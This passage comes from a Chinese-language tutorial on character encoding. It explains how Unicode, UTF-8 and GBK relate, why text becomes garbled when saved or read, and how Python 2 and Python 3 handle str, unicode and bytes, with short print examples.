1000中文字符对应3个Bytes那为何在内存中不直接使用utf-8呢？utf-8是针对Unicode的可变长度字符编码：一个英文字符占1Bytes，一个中文字符占3Bytes，生僻字用更多的Bytes存储。unicode更像是一个过渡版本与之前老的编码格式有这对应关系，我们新开发的软件或文件存入硬盘都采用utf-8格式，等过去几十年，所有老编码的文件都淘汰掉之后，会出现一个令人开心的场景，即硬盘里放的都是utf-8格式，此时unicode便可以退出历史舞台，内存里也改用utf-8，天下重新归于统一。5、编码和解码由字符转换成内存中的unicode，以及由unicode转换成其他编码的过程，都称为编码encode由内存中的unicode转换成字符，以及由其他编码转换成unicode的过程，都称为解码decode在诸多文件类型中，只有文本文件的内存是由字符组成的，因而文本文件的存取也涉及到字符编码的问题四、字符编码的应用通过上面上面的知识我们已经对字符编码的理论知识学习完毕了。知道了内存中固定使用unicode无论输入任何字符都不会发生乱码。我们能够修改的是存/取硬盘的编码方式，如果编码设置不正确将会出现乱码问题。乱码问题分为两种：==存乱了==就是你输入的字符和你即将存到硬盘所采用的编码方式没有对应关系. 比如: 你输入的是日文,但是你保存文件的时候选择GBK,那么计算机就没有办法通过日文对应的unicode码 再转换成gbk格式的二进制数字存到硬盘中.因为gbk只和英文字符和中文字符有对应关系. 这个时候计算机不知道怎么办了,就随便对应就会出现乱码.==读乱了==就是当你用一个文本编辑软件打开一个文本文件时,原本存放的文件的编码如果是gbk格式的二进制,但是你要 用Shift_JIS打开的话,对应的二进制数字是没有对应的字符的,这个时候计算机不知道怎么办了,就随便对应就会出现乱码.读乱了还好，至少数据是不会丢失的，但是如果你是存乱了，那你原本数据就没办法恢复了。==总结==#1. 保证存的时候不乱：在由内存写入硬盘时，必须将编码格式设置为支持所输入字符的编码格式 #2. 保证读的时候不乱：在由硬盘读入内存时，必须采用与写入硬盘时相同的编码格式1、 文本编辑器nodpad++存取文本文件发现选择日文编码就能正常显示了。2、 python程序运行不乱码首先在你运行python程序的前提是，你的python程序已经开发好了。然后拿着程序交给python解释器进行运行我们知道python程序就相当于文本文件，python解释器就相当于文本编辑器。那么当它读取文件时，肯定有自己的默认编码。==python3读取文件的默认编码：utf-8====python2读取文件的默认编码：ASCII==但是如果我们的程序的源文件的编码是gbk，无论是用python2执行，还是python3执行都会出现读取乱码。这一点开发人员早已想到，可以指定文件头修改默认的编码。在首行添加# coding:gbk（文件保存的编码），告诉解释器不要用你的默认编码读文件了，用我指定的就行了。那么首行的字符是以什么编码读取的呢?没错就是python解释器的默认编码，因为首行全是英文字符，无论哪种编码都能保证读取出来。保证python程序前两个阶段不乱码的核心法则：指定文件头，# coding:文件当初存入硬盘时所采用的编码格式python3的str类型在内存中默认直接存成unicode格式，无论如何都不会乱码。但是python2不是，因为python1989年诞生，但是unicode1990年才开始推行。所以你懂的。要想保证python2的str类型不乱码在字符串前+u，例如：x = u"大帅比"，强制告诉python2解释器用unicode格式存。内存的编码使用unicode，不代表内存中全都是unicode， 在程序执行之前，内存中确实都是unicode,比如从文件中读取了一行x="ymn",其中的x，等号，引号，地位都一样，都是普通字符而已，都是以unicode的格式存放于内存中的 但是程序在执行过程中，会申请内存（与程序代码所存在的内存是俩个空间）用来存放python的数据类型的值，而python的字符串类型又涉及到了字符的概念 比如x="ymn",会被python解释器识别为字符串，会申请内存空间来存放字符串类型的值，至于该字符串类型的值被识别成何种编码存放，这就与python解释器的有关了，而python2与python3的字符串类型又有所不同。五、 补充1、 python2的两种字符串类型python2解释器有两种字符串类型：str，unicode（1）str#coding:gbk x = "上" print([x]) #['\xc9\xcf'] #\x代表16进制，此处是c9cf总共4位16进制数，一个16进制是4个比特位， #4个16进制数则是16个比特位，即2个Bytes，这就证明了按照gbk编码中文用2Bytes # 字符串值会按照文件头指定的编码格式存入变量值的内存空间 # 不指定就是默认的编码格式(ASCII)gbk存中文需要2个bytes，而存英文则需要1个bytes，它是如何做到的？？？！！！gbk会在每个bytes，即8位bit的第一个位作为标志位，标志位为1则表示是中文字符，如果标志位为0则表示为英文字符。x=‘你a好’ 转成gbk格式二进制位 8bit+8bit+8bit+8bit+8bit=(1+7bit)+(1+7bit)+(0+7bit)+(1+7bit)+(1+7bit)这样计算机按照从左往右的顺序读：#连续读到前两个括号内的首位标志位均为1，则构成一个中午字符：你 #读到第三个括号的首位标志为0，则该8bit代表一个英文字符：a #连续读到后两个括号内的首位标志位均为1，则构成一个中午字符：好也就是说，每个Bytes留给我们用来存真正值的有效位数只有7位，而在unicode表中存放的只是这有效的7位，至于首位的标志位与具体的编码有关，即在unicode中表示gbk的方式为：(7bit)+(7bit)+(7bit)+(7bit)+(7bit) 按照上图翻译的结果，我们可以去unicode关于汉字的对应关系中去查：链接：https://pan.baidu.com/s/1dEV3RYp可以看到“”上“”对应的gbk（G0代表的是gbk）编码就为494F，即我们得出的结果，而上对应的unicode编码为4E0A，我们可以将gbk-->decode-->unicode（2）unicode当python解释器执行到产生字符串的代码时（例如s=u'袁'），会申请新的内存地址，然后将'袁'以unicode的格式存放到新的内存空间中，所以s只能encode，不能decode# python2 x = u"上" # 强制存成unicode2、 打印到终端对于print需要特别说明的是：当程序执行时，比如x='上' #gbk下，字符串存放为\xc9\xcfprint(x) #这一步是将x指向的那块新的内存空间（非代码所在的内存空间）中的内容，打印到终端，按理说应该是存的什么就打印什么,但打印\xc9\xcf，对一些不熟知python编码的程序员，立马就懵逼了，所以龟叔自作主张，在print(x)时，==使用终端的编码格式==，将内存中的\xc9\xcf转成字符显示，此时就需要终端编码必须为gbk，否则无法正常显示原内容：上对于unicode格式的数据来说，无论怎么打印，都不会乱码unicode这么好，不会乱码，那python2为何还那么别扭，搞一个str出来呢？python诞生之时，unicode并未像今天这样普及，很明显，好的东西你能看得见，龟叔早就看见了，龟叔在python3中将str直接存成unicode，我们定义一个str，无需加u前缀，就是一个unicode，屌不屌？3、python3的两种字符串类型==str是unicode==#coding:gbk x='上' #当程序执行时，无需加u，'上'也会被以unicode形式保存新的内存空间中, print(type(x)) #<class 'str'> #x可以直接encode成任意编码格式 print(x.encode('gbk')) #b'\xc9\xcf' print(type(x.encode('gbk'))) #<class 'bytes'>很重要的一点是：看到python3中x.encode('gbk') 的结果\xc9\xcf正是python2中的str类型的值,而在python3是bytes类型，在python2中则是str类型于是我有一个大胆的推测：python2中的str类型就是python3的bytes类型，于是我查看python2的str()源码，发现